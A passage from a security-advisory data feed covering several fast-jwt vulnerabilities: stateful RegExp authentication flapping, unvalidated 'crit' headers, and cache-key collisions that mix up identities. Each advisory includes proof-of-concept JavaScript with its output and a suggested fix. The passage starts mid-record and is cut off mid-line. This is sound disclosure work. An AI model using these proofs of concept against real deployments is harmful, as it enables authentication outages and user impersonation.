data-end=\"2695\"\u003e\n\u003cp data-start=\"2649\" data-end=\"2695\"\u003e\u003cstrong data-start=\"2649\" data-end=\"2662\"\u003eCWE-1333:\u003c/strong\u003e Inefficient Regular Expression\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2696\" data-end=\"2746\"\u003e\n\u003cp data-start=\"2698\" data-end=\"2746\"\u003e\u003cstrong data-start=\"2698\" data-end=\"2710\"\u003eCWE-400:\u003c/strong\u003e Uncontrolled Resource Consumption\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2747\" data-end=\"2793\"\u003e\n\u003cp data-start=\"2749\" data-end=\"2793\"\u003e\u003cstrong data-start=\"2749\" data-end=\"2759\"\u003eClass:\u003c/strong\u003e Authenticated Denial of Service\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr data-start=\"2795\" data-end=\"2798\"\u003e\n\u003ch2 data-start=\"2800\" data-end=\"2820\"\u003eExpected Behavior\u003c/h2\u003e\n\u003cp data-start=\"2822\" data-end=\"2898\"\u003eThe library should prevent unbounded CPU work on attacker-controlled claims.\u003c/p\u003e\n\u003ch3 data-start=\"2900\" data-end=\"2924\"\u003ePossible mitigations\u003c/h3\u003e\n\u003cul data-start=\"2926\" data-end=\"3092\"\u003e\n\u003cli data-start=\"2926\" data-end=\"2949\"\u003e\n\u003cp data-start=\"2928\" data-end=\"2949\"\u003esafe-regex validation\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2950\" data-end=\"2989\"\u003e\n\u003cp data-start=\"2952\" data-end=\"2989\"\u003emaximum length enforcement for claims\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"2990\" data-end=\"3015\"\u003e\n\u003cp data-start=\"2992\" data-end=\"3015\"\u003eregex complexity limits\u003c/p\u003e\n\u003c/li\u003e\n\u003cli data-start=\"3016\" data-end=\"3092\"\u003e\n\u003cp data-start=\"3018\" data-end=\"3092\"\u003edocumentation warning about ReDoS risks when using RegExp-based validation\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr data-start=\"3094\" data-end=\"3097\"\u003e\n\u003ch2 data-start=\"3099\" data-end=\"3107\"\u003eNotes\u003c/h2\u003e\n\u003cp data-start=\"3109\" data-end=\"3215\"\u003eSignature verification occurs before claim validation, therefore this is \u003cstrong data-start=\"3182\" data-end=\"3214\"\u003enot a pre-authentication DoS\u003c/strong\u003e.\u003c/p\u003e\n\u003cp data-start=\"3217\" data-end=\"3360\"\u003eHowever, the vulnerability remains exploitable in authenticated or token-bearing contexts and can significantly impact production environments.\u003c/p\u003e\u003c!--EndFragment--\u003e\n\u003c/body\u003e\n\u003c/html\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-09T16:41:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-cjw9-ghj4-fwxf","https://github.com/nearform/fast-jwt/pull/595","https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94","https://github.com/nearform/fast-jwt/releases/tag/v6.2.1","https://nvd.nist.gov/vuln/detail/CVE-2026-35041","https://github.com/advisories/GHSA-cjw9-ghj4-fwxf"],"source_kind":"github","identifiers":["GHSA-cjw9-ghj4-fwxf","CVE-2026-35041"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-09T17:00:09.425Z","updated_at":"2026-08-14T00:04:22.158Z","epss_percentage":0.00262,"epss_percentile":0.17589,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1janc5LWdoajQtZnd4Zs4ABVAr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1janc5LWdoajQtZnd4Zs4ABVAr","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"6.2.1","vulnerable_version_range":"\u003e= 5.0.0, \u003c= 6.2.0"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1janc5LWdoajQtZnd4Zs4ABVAr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zajh2LWNndzQtMmc2cc4ABVAq","url":"https://github.com/advisories/GHSA-3j8v-cgw4-2g6q","title":"fast-jwt: Stateful RegExp (/g or /y) causes non-deterministic allowed-claim validation (logical DoS)","description":"## Impact\n\nUsing certain modifiers on RegExp objects in the allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options in verify functions can cause certain unintended behaviours. This is because some modifiers are stateful and will cause failures in every second verification attempt regardless of the validity of the token provided.\n\nSuch modifiers are:\n- /g : Global matching\n- /y : Sticky matching\n\nThis does NOT allow invalid tokens to be accepted, only for valid tokens to be improperly rejected in some configurations. Instead it causes **50% of valid authentication requests to fail** in an alternating pattern, leading to:\n  - Intermittent user authentication failures\n  - Potential retry storms in applications\n  - Operational monitoring alerts\n\n## Affected Configurations\n\n### This vulnerability ONLY affects applications that:\n\n- Use RegExp objects (not strings) in the allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options\n- Use stateful RegExp modifiers such a /g or /y\n\nExample: allowedAud: /abc/g ← IMPACTED\nExample: allowedAud: \"/abc/\" ← SAFE\n\n### Not Affected\n\n- Applications using string patterns for audience validation (most common)\n- Applications using RegExp patterns without stateful modifiers\n\n### Assessment Guide\nTo determine if you're affected:\n\nCheck if  allowedAud, allowedIss, allowedSub, allowedJti, or allowedNonce options use RegExp objects (/pattern/ or new RegExp())\nIf yes, review the pattern for stateful modifiers like /g, /y\nIf no RegExp usage or no stateful modifiers, you are NOT affected\n\n## Mitigation Options\nWhile a fix will be coming in the next version of the package you can take steps to mitigate the issue immediately by removing any such modifiers (/g, /y) from the regex.\n\n---\n\nSummary\n\nfast-jwt accepts RegExp for allowedAud, allowedIss, allowedSub, allowedJti, and allowedNonce.\n\nIf the provided regular expression uses the g (global) or y (sticky) flag, verification becomes non-deterministic: the same valid token alternates between acceptance and rejection across successive calls.\n\nThis occurs because RegExp.prototype.test() is stateful when g/y is set (it mutates lastIndex), and fast-jwt reuses the same RegExp object without resetting lastIndex.\n\n\nAffected component\n\nsrc/verifier.js\n\nensureStringClaimMatcher() returns the RegExp object directly.\n\nvalidateClaimValues() performs repeated a.test(v) calls without resetting lastIndex.\n\n\nImpact\n\nLogical denial-of-service / authentication flapping.\n\nA valid signed JWT can be intermittently rejected.\n\nCauses unpredictable authentication outcomes across repeated verification calls.\n\nCan trigger retry storms and cascading failures in API gateways and authentication middleware.\n\nAffects any deployment that configures allowed* using RegExp and includes g or y flags.\n\n\nRoot cause\n\nvalidateClaimValues() uses: allowed.some(a =\u003e a.test(v))\n\n\nWhen `a` is a RegExp with g or y, `a.test()` mutates `a.lastIndex`.\n\nSubsequent calls against the same input can return different results.\n\n\nProof of concept\n\nEnvironment\n\n- fast-jwt: 6.1.0 (repo HEAD)\n- Node.js: v24.13.1\n\nPoC\nconst { createSigner, createVerifier } = require('fast-jwt')\n\nconst sign = createSigner({ key: 'secret' })\nconst token = sign({ aud: 'admin', iss: 'issuer' })\n\nfunction run(name, opts) {\nconst verify = createVerifier({ key: 'secret', ...opts })\nconsole.log('\\n==', name)\nfor (let i = 0; i \u003c 8; i++) {\ntry { verify(token); console.log(i, 'PASS') }\ncatch (e) { console.log(i, 'FAIL', e.code || e.message) }\n}\n}\n\nrun('allowedAud global regex', { allowedAud: /^admin$/g })\nrun('allowedIss global regex', { allowedIss: /^issuer$/g })\nrun('control (non-global regex)', { allowedAud: /^admin$/ })\n\n\n\nObserved behavior\n\n- allowedAud with `/g` alternates PASS/FAIL across calls\n- allowedIss with `/g` alternates PASS/FAIL across calls\n- control regex (no g/y) is deterministic and always PASS\n\n\nExpected behavior\n\nValidation must be deterministic.\n\nThe same token under the same verifier configuration must always yield the same decision.\n\n\nSuggested fix (minimal and safe)\n\nWrap RegExp matchers inside ensureStringClaimMatcher() to reset lastIndex before calling test():\nif (r instanceof RegExp) {\nreturn { test: v =\u003e { r.lastIndex = 0; return r.test(v) } }\n}\n\n\nThis preserves semantics for non-global regexes, makes g/y deterministic, and avoids changes in the rest of the verifier logic.\n\n\nSecurity classification\n\nLogical DoS / authentication reliability failure.\n\nThis can be weaponized to produce production outages via retry storms and auth instability.\n\n\nWhy this is not “misuse”\n\n- The library explicitly accepts RegExp for allowed* claim validation.\n- The behavior difference is caused by internal state mutation of RegExp.test().\n- The same token, same verifier config, same runtime yields different outcomes.\n- Security decisions must be deterministic; non-determinism at the verification layer is a correctness flaw.\n- Consumers cannot reliably defend against this unless the library normalizes matcher state.\n\n\nNotes\n\n- Affects allowedAud, allowedIss, allowedSub, allowedJti, allowedNonce equally (shared matcher logic).\n- Independent from the previously reported ReDoS; this is a determinism and correctness failure that can still produce production DoS effects.\n\n\nPoC Code:\n'use strict'\n\n/**\n * PoC: Stateful RegExp flags (g/y) cause non-deterministic allowed-claim validation\n * fast-jwt reuses the same RegExp object; RegExp.test() mutates lastIndex when g/y is set.\n *\n * This script prints a human-readable log AND writes evidence to JSON.\n *\n * Usage:\n *   node poc_regex_state_evidence.js\n */\n\nconst fs = require('node:fs')\nconst path = require('node:path')\nconst { createSigner, createVerifier } = require('fast-jwt')\n\nconst OUT_JSON = path.join(process.cwd(), 'evidence-regex-stateful-fastjwt.json')\nconst OUT_LOG  = path.join(process.cwd(), 'evidence-regex-stateful-fastjwt.log')\n\n// Make a stable, valid token\nconst sign = createSigner({ key: 'secret' })\nconst token = sign({\n  aud: 'admin',\n  iss: 'issuer',\n  sub: 'subject',\n  jti: 'id-123',\n  nonce: 'nonce-xyz'\n})\n\nfunction runCase(name, verifierOpts, iterations = 12) {\n  const verify = createVerifier({ key: 'secret', ...verifierOpts })\n\n  const results = []\n  for (let i = 0; i \u003c iterations; i++) {\n    try {\n      verify(token)\n      results.push({ i, ok: true })\n    } catch (e) {\n      results.push({ i, ok: false, code: e.code || null, message: e.message || String(e) })\n    }\n  }\n\n  return results\n}\n\nfunction summarize(results) {\n  const seq = results.map(r =\u003e (r.ok ? 'PASS' : 'FAIL')).join(' ')\n  const pass = results.filter(r =\u003e r.ok).length\n  const fail = results.length - pass\n  return { pass, fail, seq }\n}\n\nfunction printCase(name, opts, results) {\n  const s = summarize(results)\n  const lines = []\n  lines.push(`== ${name}`)\n  lines.push(`opts: ${JSON.stringify(opts)}`)\n  lines.push(`PASS=${s.pass} FAIL=${s.fail}`)\n  lines.push(`sequence: ${s.seq}`)\n  lines.push('')\n  return lines.join('\\n')\n}\n\nfunction main() {\n  const meta = {\n    poc: 'stateful-regexp-allowed-claims',\n    package: 'fast-jwt',\n    node: process.version,\n    timestamp: new Date().toISOString(),\n    note: 'RegExp.test is stateful when g/y flags are set; lastIndex mutation causes alternating PASS/FAIL.'\n  }\n\n  // Cases: g/y should flap, control should be stable\n  const cases = [\n    {\n      name: 'allowedAud with global RegExp /g (expected: flapping)',\n      opts: { allowedAud: /^admin$/g }\n    },\n    {\n      name: 'allowedAud with sticky RegExp /y (expected: flapping)',\n      opts: { allowedAud: /^admin$/y }\n    },\n    {\n      name: 'allowedIss with global RegExp /g (expected: flapping)',\n      opts: { allowedIss: /^issuer$/g }\n    },\n    {\n      name: 'allowedSub with global RegExp /g (expected: flapping)',\n      opts: { allowedSub: /^subject$/g }\n    },\n    {\n      name: 'allowedJti with global RegExp /g (expected: flapping)',\n      opts: { allowedJti: /^id-123$/g }\n    },\n    {\n      name: 'allowedNonce with global RegExp /g (expected: flapping)',\n      opts: { allowedNonce: /^nonce-xyz$/g }\n    },\n    {\n      name: 'CONTROL: allowedAud with non-global RegExp (expected: stable PASS)',\n      opts: { allowedAud: /^admin$/ }\n    }\n  ]\n\n  const evidence = {\n    meta,\n    token: {\n      alg: 'HS256 (autodetected by fast-jwt)',\n      signed: true,\n      jwt: token\n    },\n    cases: []\n  }\n\n  let log = ''\n  for (const c of cases) {\n    const results = runCase(c.name, c.opts, 12)\n    const s = summarize(results)\n\n    evidence.cases.push({\n      name: c.name,\n      opts: c.opts,\n      iterations: results.length,\n      pass: s.pass,\n      fail: s.fail,\n      sequence: s.seq,\n      results\n    })\n\n    log += printCase(c.name, c.opts, results)\n  }\n\n  fs.writeFileSync(OUT_JSON, JSON.stringify(evidence, null, 2))\n  fs.writeFileSync(OUT_LOG, log)\n\n  console.log(log)\n  console.log(`[+] Wrote JSON evidence: ${OUT_JSON}`)\n  console.log(`[+] Wrote LOG evidence : ${OUT_LOG}`)\n}\n\nmain()\n\n\nOutput:\nPS C:\\Users\\Franciny Rojas\\Desktop\\crypto-research\\fast-jwt\u003e node .\\poc_regex_state_evidence.js\n== allowedAud with global RegExp /g (expected: flapping)\nopts: {\"allowedAud\":{}}\nPASS=6 FAIL=6\nsequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL\n== allowedAud with sticky RegExp /y (expected: flapping)\nopts: {\"allowedAud\":{}}\nPASS=6 FAIL=6\nsequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL\n== allowedIss with global RegExp /g (expected: flapping)\nopts: {\"allowedIss\":{}}\nPASS=6 FAIL=6\nsequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL\n== allowedSub with global RegExp /g (expected: flapping)\nopts: {\"allowedSub\":{}}\nPASS=6 FAIL=6\nsequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL\n== allowedJti with global RegExp /g (expected: flapping)\nopts: {\"allowedJti\":{}}\nPASS=6 FAIL=6\nsequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL\n== allowedNonce with global RegExp /g (expected: flapping)\nopts: {\"allowedNonce\":{}}\nPASS=6 FAIL=6\nsequence: PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL PASS FAIL\n== CONTROL: allowedAud with non-global RegExp (expected: stable PASS)\nopts: {\"allowedAud\":{}}\nPASS=12 FAIL=0\nsequence: PASS PASS PASS PASS PASS PASS PASS PASS PASS PASS PASS PASS\n\n[+] Wrote JSON evidence: C:\\Users\\Franciny Rojas\\Desktop\\crypto-research\\fast-jwt\\evidence-regex-stateful-fastjwt.json\n[+] Wrote LOG evidence : C:\\Users\\Franciny Rojas\\Desktop\\crypto-research\\fast-jwt\\evidence-regex-stateful-fastjwt.log\nPS C:\\Users\\Franciny Rojas\\Desktop\\crypto-research\\fast-jwt\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-09T16:41:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-3j8v-cgw4-2g6q","https://github.com/nearform/fast-jwt/pull/593","https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a","https://github.com/nearform/fast-jwt/releases/tag/v6.2.1","https://nvd.nist.gov/vuln/detail/CVE-2026-35040","https://github.com/advisories/GHSA-3j8v-cgw4-2g6q"],"source_kind":"github","identifiers":["GHSA-3j8v-cgw4-2g6q","CVE-2026-35040"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-09T17:00:09.426Z","updated_at":"2026-08-20T13:02:40.367Z","epss_percentage":0.00383,"epss_percentile":0.31607,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zajh2LWNndzQtMmc2cc4ABVAq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zajh2LWNndzQtMmc2cc4ABVAq","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"6.2.1","vulnerable_version_range":"\u003c 6.2.1"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zajh2LWNndzQtMmc2cc4ABVAq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1obTdyLWM3cXctZ2hwNs4ABUt5","url":"https://github.com/advisories/GHSA-hm7r-c7qw-ghp6","title":"fast-jwt accepts unknown `crit` header extensions (RFC 7515 violation)","description":"## Summary\n\n`fast-jwt` does not validate the `crit` (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing extensions that `fast-jwt` does not understand, the library accepts the token instead of rejecting it. This violates the **MUST** requirement in the RFC.\n\n---\n\n## RFC Requirement\n\nRFC 7515 §4.1.11:\n\n\u003e If any of the listed extension Header Parameters are **not understood\n\u003e and supported** by the recipient, then the **JWS is invalid**.\n\n---\n\n## Proof of Concept\n\n```javascript\nconst { createSigner, createVerifier } = require(\"fast-jwt\"); // v3.3.3\n\nconst signer = createSigner({ key: \"secret\", algorithm: \"HS256\" });\nconst token = signer({\n  sub: \"attacker\",\n  role: \"admin\",\n  header: { crit: [\"x-custom-policy\"], \"x-custom-policy\": \"require-mfa\" },\n});\n\n// Should REJECT — x-custom-policy is not understood\nconst verifier = createVerifier({ key: \"secret\", algorithms: [\"HS256\"] });\ntry {\n  const result = verifier(token);\n  console.log(\"ACCEPTED:\", result);\n  // Output: ACCEPTED: { sub: 'attacker', role: 'admin' }\n} catch (e) {\n  console.log(\"REJECTED:\", e.message);\n}\n```\n\n**Expected:** Error — unsupported critical extension\n**Actual:** Token accepted.\n\n### Comparison\n\n```javascript\n// jose (panva) v4+ — correctly rejects\nconst jose = require(\"jose\");\nawait jose.jwtVerify(token, new TextEncoder().encode(\"secret\"));\n// throws: Extension Header Parameter \"x-custom-policy\" is not recognized\n```\n\n---\n\n## Impact\n\n- **Split-brain verification** in mixed-library environments\n- **Security policy bypass** when `crit` carries enforcement semantics\n- **Token binding bypass** (RFC 7800 `cnf` confirmation)\n- See CVE-2025-59420 for full impact analysis\n\n---\n\n## Suggested Fix\n\nIn `src/verifier.js`, add crit validation after header decoding:\n\n```javascript\nconst SUPPORTED_CRIT = new Set([\"b64\"]);\n\nfunction validateCrit(header) {\n  if (!header.crit) return;\n  if (!Array.isArray(header.crit) || header.crit.length === 0)\n    throw new Error(\"crit must be a non-empty array\");\n  for (const ext of header.crit) {\n    if (!SUPPORTED_CRIT.has(ext))\n      throw new Error(`Unsupported critical extension: ${ext}`);\n    if (!(ext in header))\n      throw new Error(`Critical extension ${ext} not present in header`);\n  }\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-03T22:01:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-hm7r-c7qw-ghp6","https://github.com/advisories/GHSA-9ggr-2464-2j32","https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11","https://nvd.nist.gov/vuln/detail/CVE-2026-35042","https://github.com/advisories/GHSA-hm7r-c7qw-ghp6"],"source_kind":"github","identifiers":["GHSA-hm7r-c7qw-ghp6","CVE-2026-35042"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T23:00:13.246Z","updated_at":"2026-08-14T00:04:31.699Z","epss_percentage":0.00155,"epss_percentile":0.04993,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTdyLWM3cXctZ2hwNs4ABUt5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obTdyLWM3cXctZ2hwNs4ABUt5","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 6.1.0"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTdyLWM3cXctZ2hwNs4ABUt5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycDltLTdyNGMtNzVxZ84ABUrI","url":"https://github.com/advisories/GHSA-rp9m-7r4c-75qg","title":"fast-jwt: Cache Confusion via cacheKeyBuilder Collisions Can Return Claims From a Different Token (Identity/Authorization Mixup)","description":"_NOTE_: While the library exposes a mechanism which could introduce the vulnerability, this issue is created by developer-supplied code and not by the library itself. We will add a warning and some education for users around the possible issues however since the defaults work we will not be updating the library beyond that for this advisory.\n\n## Impact\n\nSetting up a custom cacheKeyBuilder method which does not properly create unique keys for different tokens can lead to cache collisions. This could cause tokens to be mis-identified during the verification process leading to:\n\n- Valid tokens returning claims from different valid tokens\n- Users being mis-identified as other users based on the wrong token\n\nThis could result in:\n- User impersonation - UserB receives UserA's identity and permissions\n- Privilege escalation - Low-privilege users inherit admin-level access\n- Cross-tenant data access - Users gain access to other tenants' resources\n- Authorization bypass - Security decisions made on wrong user identity\n\n## Affected Configurations\n\nThis vulnerability ONLY affects applications that BOTH:\n\n1. Enable caching using the cache option\n2. Use custom cacheKeyBuilder functions that can produce collisions\n\nVULNERABLE examples:\n```\n// Collision-prone: same audience = same cache key\ncacheKeyBuilder: (token) =\u003e {\n  const { aud } = parseToken(token)\n  return `aud=${aud}`\n}\n\n// Collision-prone: grouping by user type\ncacheKeyBuilder: (token) =\u003e {\n  const { aud } = parseToken(token)\n  return aud.includes('admin') ? 'admin-users' : 'regular-users'\n}\n\n// Collision-prone: tenant + service grouping\ncacheKeyBuilder: (token) =\u003e {\n  const { iss, aud } = parseToken(token)\n  return `${iss}-${aud}`\n}\n```\n\nSAFE examples:\n```\n// Default hash-based (recommended)\ncreateVerifier({ cache: true })  // Uses secure default\n\n// Include unique user identifier\ncacheKeyBuilder: (token) =\u003e {\n  const { sub, aud, iat } = parseToken(token)\n  return `${sub}-${aud}-${iat}`\n}\n\n// No caching (always safe)\ncreateVerifier({ cache: false })\n```\n### Not Affected\n\n- Applications using **default caching**\n- Applications with **caching disabled**\n \n## Assessment Guide\n\nTo determine if you're affected:\n\n1. Check if caching is enabled: Look for cache: true or cache: \u003cnumber\u003e in verifier configuration\n2. Check for custom cache key builders: Look for cacheKeyBuilder function in configuration\n3. Analyze collision potential: Review if your cacheKeyBuilder can produce identical keys for different users/tokens\n4. If no custom cacheKeyBuilder: You are NOT affected (default is safe)\n\n## Mitigations\n\nMitigations include:\n\n- Ensure uniqueness of keys produced in cacheKeyBuilder\n- Remove custom cacheKeyBuilder method\n- Disable caching\n\n---\n\nfast-jwt allows enabling a verification cache through the cache option.\nThe cache key is derived from the token via cacheKeyBuilder.\n\nWhen a custom cacheKeyBuilder produces collisions between different tokens, the verifier may return the cached payload of a previous token instead of validating and returning the payload of the current token.\n\nThis results in cross-token payload reuse and identity confusion.\n\nTwo distinct valid JWTs can be verified successfully but mapped to the same cached entry, causing the verifier to return claims belonging to a different token.\n\nThis affects authentication and authorization decisions when applications trust the returned payload.\n\nAffected component\n\nsrc/verifier.js\n\nRelevant logic:\n\ncache enabled via createCache\n\ncache population via cacheSet\n\nlookup based on cacheKeyBuilder(token)\n\ncached payload returned without re-verification\n\nImpact\n\nIdentity / authorization confusion via cache collision.\n\nIf two tokens generate the same cache key:\n\ntoken A is verified → payload stored in cache\n\ntoken B is verified → cache hit occurs\n\nverifier returns payload from token A instead of B\n\nObserved effect:\n\nsubject mismatch\n\nclaim mismatch\n\nauthorization decision performed on wrong identity\n\nPotential real-world consequences:\n\nuser impersonation (logical)\n\nprivilege confusion\n\nincorrect RBAC evaluation\n\ngateway / middleware auth inconsistencies\n\nThis is especially dangerous when:\n\ncache is enabled (recommended for performance)\n\ncustom cacheKeyBuilder is used\n\nidentity claims (sub / aud / iss) drive authorization\n\nRoot cause\n\nThe verifier assumes the cache key uniquely identifies the token and its claims.\n\nHowever:\n\ncacheKeyBuilder is user-controlled\n\ncollisions are not detected\n\ncache entries store decoded payload\n\ncached payload is returned without binding validation\n\nThis creates a trust boundary break between:\n\ntoken → cache key → cached payload\n\nProof of concept\n\nEnvironment:\n\nfast-jwt: 6.1.0\n\nNode.js: v24.13.1\n\nPoC:\n\nconst { createSigner, createVerifier } = require('fast-jwt')\n\nconst sign = createSigner({ key: 'secret' })\n\n// Two distinct tokens\nconst t1 = sign({ sub: 'userA', aud: 'admin' })\nconst t2 = sign({ sub: 'userB', aud: 'admin' })\n\n// Deliberately unsafe cache key builder (collision)\nconst verify = createVerifier({\n  key: 'secret',\n  cache: true,\n  cacheKeyBuilder: () =\u003e 'static-key'\n})\n\nconsole.log('verify t1')\nconst p1 = verify(t1)\nconsole.log('t1 PASS sub=', p1.sub)\n\nconsole.log('verify t2')\nconst p2 = verify(t2)\nconsole.log('t2 PASS sub=', p2.sub)\n\nconsole.log('verify t2 again')\nconst p3 = verify(t2)\nconsole.log('t2-again PASS sub=', p3.sub)\n\nconsole.log('verify t1 again')\nconst p4 = verify(t1)\nconsole.log('t1-again PASS sub=', p4.sub)\n\nObserved output:\n\nverify t1\nt1 PASS sub= userA\n\nverify t2\nt2 PASS sub= userA\n\nverify t2 again\nt2-again PASS sub= userA\n\nverify t1 again\nt1-again PASS sub= userA\n\nThe verifier returns payload from userA when verifying userB.\n\nExpected behavior\n\nCache must not allow returning claims from a different token.\n\nVerification must remain bound to the actual token being validated.\n\nEven if cache collisions occur, the verifier should:\n\nrevalidate signature\n\nre-decode payload\n\nor invalidate cache entry\n\nWhy this is not “just misuse”\n\nThis is not merely a user mistake.\n\nReasons:\n\nfast-jwt explicitly exposes cacheKeyBuilder as an extension point.\n\nThe documentation suggests performance tuning via custom key builders.\n\nNo safeguards exist against collisions.\n\nNo verification binding is performed between:\n\ncached payload\n\noriginal token\n\nThe verifier trusts cache output as authoritative identity.\n\nThis creates a security-sensitive invariant:\n\n\"cache key uniqueness\"\n\nwhich is neither enforced nor validated.\n\nSecurity-critical libraries must assume extension hooks can be misused and implement defensive checks, especially when identity decisions are derived from cached values.\n\nSecurity classification\n\nlogical authorization flaw\n\ncache confusion vulnerability\n\nidentity boundary break\n\nClosest CWE:\n\nCWE-440 — Expected Behavior Violation\n\nSuggested fix (minimal and safe)\n\nBind cache entries to token integrity.\n\nOption A — safest:\n\nStore token hash along with payload and verify match before returning cache.\n\nConceptual patch:\n\nconst tokenHash = hashToken(token)\n\ncache.set(key, { tokenHash, payload })\n\n...\n\nconst entry = cache.get(key)\n\nif (entry \u0026\u0026 entry.tokenHash === hashToken(token)) {\n  return entry.payload\n}\n\nOption B — simpler:\n\nDisable cache usage when custom cacheKeyBuilder is provided.\n\nOption C — defensive:\n\nAlways re-validate signature when cache hit occurs.\n\nNotes\n\nDefault cacheKeyBuilder is safe (hash-based).\n\nIssue appears when custom builders are used — a documented and supported feature.\n\nImpact increases in:\n\nAPI gateways\n\nauth middleware\n\nRBAC layers relying on payload.sub / payload.aud\n\nThis vulnerability is independent from:\n\nRegExp statefulness issue\n\nReDoS claim validation issue\n\nIt is a separate flaw in cache design and trust model.\n\nPoC did on my computer:\n'use strict'\n\nconst fs = require('node:fs')\nconst path = require('node:path')\nconst { createSigner, createVerifier } = require('./src')\n\nfunction nowSec() {\n  return Math.floor(Date.now() / 1000)\n}\n\nconst sign = createSigner({ key: 'secret' })\nconst t1 = sign({ sub: 'userA', aud: 'admin', iat: nowSec() })\nconst t2 = sign({ sub: 'userB', aud: 'admin', iat: nowSec() })\n\nfunction badKeyBuilder() {\n  return 'aud=admin'\n}\n\nconst verify = createVerifier({\n  key: 'secret',\n  cache: true,\n  cacheTTL: 60000,\n  cacheKeyBuilder: badKeyBuilder\n})\n\nfunction run(tok) {\n  try {\n    const out = verify(tok)\n    return { ok: true, sub: out.sub, aud: out.aud }\n  } catch (e) {\n    return { ok: false, code: e.code || String(e), message: e.message }\n  }\n}\n\nconst results = []\nresults.push({ step: 'verify(t1)', token: 't1', result: run(t1) })\nresults.push({ step: 'verify(t2)', token: 't2', result: run(t2) })\nresults.push({ step: 'verify(t2) again', token: 't2', result: run(t2) })\nresults.push({ step: 'verify(t1) again', token: 't1', result: run(t1) })\n\nconst evidence = {\n  title: 'fast-jwt cache confusion when cacheKeyBuilder collisions occur',\n  environment: {\n    node: process.version,\n    fastJwt: require('./package.json').version\n  },\n  config: {\n    cache: true,\n    cacheTTL: 60000,\n    cacheKeyBuilder: \"returns constant key 'aud=admin' (realistic collision pattern)\"\n  },\n  tokens: {\n    t1: { claims: { sub: 'userA', aud: 'admin' }, jwt: t1 },\n    t2: { claims: { sub: 'userB', aud: 'admin' }, jwt: t2 }\n  },\n  observed: results\n}\n\nconst outPath = path.join(process.cwd(), 'evidence-cache-keybuilder-confusion.json')\nfs.writeFileSync(outPath, JSON.stringify(evidence, null, 2))\nconsole.log('Wrote evidence to:', outPath)\n\nfor (const r of results) {\n  console.log(r.step, '=\u003e', r.result.ok ? `PASS sub=${r.result.sub}` : `FAIL ${r.result.code}`)\n}\n\nOutput:\nPS C:\\Users\\Franciny Rojas\\Desktop\\crypto-research\\fast-jwt\u003e node poc_cache_keybuilder_confusion_evidence.js\nWrote evidence to: C:\\Users\\Franciny Rojas\\Desktop\\crypto-research\\fast-jwt\\evidence-cache-keybuilder-confusion.json\nverify(t1) =\u003e PASS sub=userA\nverify(t2) =\u003e PASS sub=userA\nverify(t2) again =\u003e PASS sub=userA\nverify(t1) again =\u003e PASS sub=userA\nPS C:\\Users\\Franciny 